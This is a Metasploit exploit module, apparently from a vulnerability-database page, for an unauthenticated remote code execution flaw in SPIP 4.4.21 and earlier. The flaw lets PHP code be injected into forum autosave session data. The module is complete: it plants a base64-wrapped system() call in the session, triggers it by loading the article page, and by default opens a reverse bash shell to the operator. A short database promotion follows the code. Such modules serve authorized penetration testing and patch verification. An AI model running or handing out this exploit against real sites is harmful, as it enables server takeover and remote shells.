SPIP Autosave Session Unauthenticated RCE
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Spip
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SPIP Autosave Session Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated RCE in SPIP <= 4.4.21
via the forum autosave session handler. The action=session
endpoint allows any visitor to store arbitrary data in a PHP
session variable. By writing PHP code into an autosave_forum_*
session key, the code is executed by the template engine when
the forum form page is rendered with the poisoned session.
Requires a published article with public forums enabled.
},
'Author' => [
'Julien Voisin' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-22.html']
],
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
}
]
],
# PHP payloads die when the HTTP request ends; meterpreter timeouts; a backgrounded shell command survives.
'DefaultOptions' => { 'WfsDelay' => 5, 'PAYLOAD' => 'cmd/unix/reverse_bash' }, # rubocop:disable Lint/ModuleDefaultPayload
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-08-30',
'Payload' => {
'BadChars' => "'\""
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('ARTICLE', [true, 'Path to article with public forum (e.g. ?article1)', '?article1'])
])
end
def article_uri
article = datastore['ARTICLE']
if article.start_with?('/')
normalize_uri(target_uri.path, article)
else
article = article.delete_prefix('?')
"#{normalize_uri(target_uri.path, 'spip.php')}?#{article}"
end
end
def extract_autosave_hash
res = send_request_cgi('method' => 'GET', 'uri' => article_uri)
return nil unless res&.body
html = res.get_html_document
input = html.at_css('input[name="autosave"]')
input&.[]('value')&.match(/\Aforum_([a-f0-9]+)\z/)&.[](1)
end
def inject_autosave(hash, php_code, cookie: nil)
# val is parsed by SPIP as form-encoded key=value; the PHP code must be
# URI-encoded inside it so special chars don't break the parser. The
# framework's vars_post adds a second encoding layer for the HTTP body.
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'spip.php'),
'cookie' => cookie,
'vars_post' => {
'action' => 'session',
'var' => "autosave_forum_#{hash}",
'val' => "_hidden=#{Rex::Text.uri_encode(php_code)}"
}
)
end
def check
rversion = spip_version || spip_plugin_version('spip')
return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion
print_status("SPIP Version detected: #{rversion}")
return CheckCode::Safe("SPIP #{rversion} is not vulnerable") if rversion > Rex::Version.new('4.4.21')
hash = extract_autosave_hash
return CheckCode::Safe('No autosave forum form found on the target article') unless hash
marker = Rex::Text.rand_text_alpha(16)
res = inject_autosave(hash, "<?php echo '#{marker}'; ?>")
return CheckCode::Unknown('Failed to store session data') unless res
begin
cookie = res.get_cookies
res = send_request_cgi(
'method' => 'GET', 'uri' => article_uri, 'cookie' => cookie
)
return CheckCode::Unknown('Target did not respond') unless res
if res.body&.include?(marker)
CheckCode::Vulnerable('PHP code executed via autosave session injection')
else
CheckCode::Safe('PHP code was not executed')
end
ensure
inject_autosave(hash, '', cookie: cookie)
end
end
def exploit
hash = extract_autosave_hash
fail_with(Failure::NotVulnerable, 'No autosave forum form found') unless hash
b64 = Rex::Text.encode_base64("(#{payload.encoded}) &").delete("\n")
phped_payload = "@system('/bin/sh -c '.escapeshellarg(base64_decode('#{b64}')));"
php_code = "<?php #{phped_payload} ?>"
res = inject_autosave(hash, php_code)
fail_with(Failure::UnexpectedReply, 'Failed to store payload in session') unless res
begin
cookie = res.get_cookies
print_status('Triggering payload execution...')
send_request_cgi(
'method' => 'GET', 'uri' => article_uri, 'cookie' => cookie
)
ensure
inject_autosave(hash, '', cookie: cookie)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
30 Aug 2026 00:00Current
6Medium risk
Vulners AI Score6